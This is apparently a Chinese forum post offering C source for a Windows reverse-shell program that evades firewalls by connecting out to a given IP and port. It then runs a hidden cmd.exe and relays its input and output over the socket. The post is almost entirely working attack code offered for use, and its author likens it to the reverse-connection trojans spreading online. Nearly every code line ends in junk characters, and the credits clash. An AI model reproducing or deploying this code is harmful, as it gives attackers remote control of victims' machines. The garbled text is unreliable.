这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 g4 3(N!@g
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/* ============================== r$:hiE@
Rebound port in Windows NT Ot+Z}Z-
By wind,2006/7 )DGJr/)
===============================*/ mclV"?
#include |LRAb#F\
#include GdYQq.
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#pragma comment(lib,"wsock32.lib") <Nk:C1Op}
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void OutputShell(); <0!<T+JQ
SOCKET sClient; /_X`i[
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .ah[!O
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void main(int argc,char **argv) ,8.$!Zia
{ >,ABE2t5
WSADATA stWsaData; [<|$If99\
int nRet; q/^?rd
SOCKADDR_IN stSaiClient,stSaiServer; Zts1BWL[
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if(argc != 3) ?AO22N|j
{ K$l@0r ~k
printf("Useage:\n\rRebound DestIP DestPort\n"); j}O qWX>/
return; ]N2!
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} aoQ$"PF9
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WSAStartup(MAKEWORD(2,2),&stWsaData); ;F_P<b 2
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1Va=.#<
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stSaiClient.sin_family = AF_INET; Z~w2m6;s
stSaiClient.sin_port = htons(0); O!t=,F1j
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); S5kD|kJ
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) zGdYk-H3TH
{ /'/i?9:
printf("Bind Socket Failed!\n"); 4jc?9(y%
return; vjzG
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} D |=L)\
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stSaiServer.sin_family = AF_INET; AhkDLm+
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); yD Jy'Z_F{
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Gr>CdB>~+
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ Be9,m!on
printf("Connect Error!"); xs&xcRR"
return; q6ZewuV.
} k }{o:
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OutputShell(); `v-O 4Pk
} *\@RBJGF
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void OutputShell() `8r$b/6
{ J$PlI
char szBuff[1024]; F9Af{*Jw?x
SECURITY_ATTRIBUTES stSecurityAttributes; 4K\o2p?4
OSVERSIONINFO stOsversionInfo; !9{UBAh
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; O._\l?m
STARTUPINFO stStartupInfo; Qea"49R
char *szShell; F2\&rC4v
PROCESS_INFORMATION stProcessInformation; 9|3sNFGX
unsigned long lBytesRead; W/3sJc9
{kBsiSvsA;
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); cU-A1W
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); t\h4-dJn
stSecurityAttributes.lpSecurityDescriptor = 0; _Hd|y
stSecurityAttributes.bInheritHandle = TRUE; |Y8}*C\M.h
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )&O6d .
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Mna
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xXc>YTK'
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?68~ g<d,
stStartupInfo.wShowWindow = SW_HIDE; icX4n
stStartupInfo.hStdInput = hReadPipe; MV??S{^4
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~o/k?l
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GetVersionEx(&stOsversionInfo); 7r50y>
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switch(stOsversionInfo.dwPlatformId) 6)p8BUft
{ S>>wf:\ c
case 1: 3HBh
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szShell = "command.com"; +q;{%3C
break; hv?T}E
default: "M@&*<S
szShell = "cmd.exe"; ,Tu.cg
break; 8{QCW{K
} #0vda'q=j
; o
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |d&C<O;f
,vO\n^
send(sClient,szMsg,77,0); 7#d:TXS
while(1) wJ pb$;
{ /a<UKh:A[
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); U<Tv<7`
if(lBytesRead) [*Ai@:F
{ ?AD-n6
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0j;ZPqEf3
send(sClient,szBuff,lBytesRead,0); w/O'&],x
} 6T|Z4f|
else *oeXmY
{ j}tM0Ug.U
lBytesRead=recv(sClient,szBuff,1024,0); p"c6d'qe
if(lBytesRead<=0) break; jdLu\=@z
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); J5HN*Wd
} 1
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} Zs{7km
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return; b_ak@LYiu
}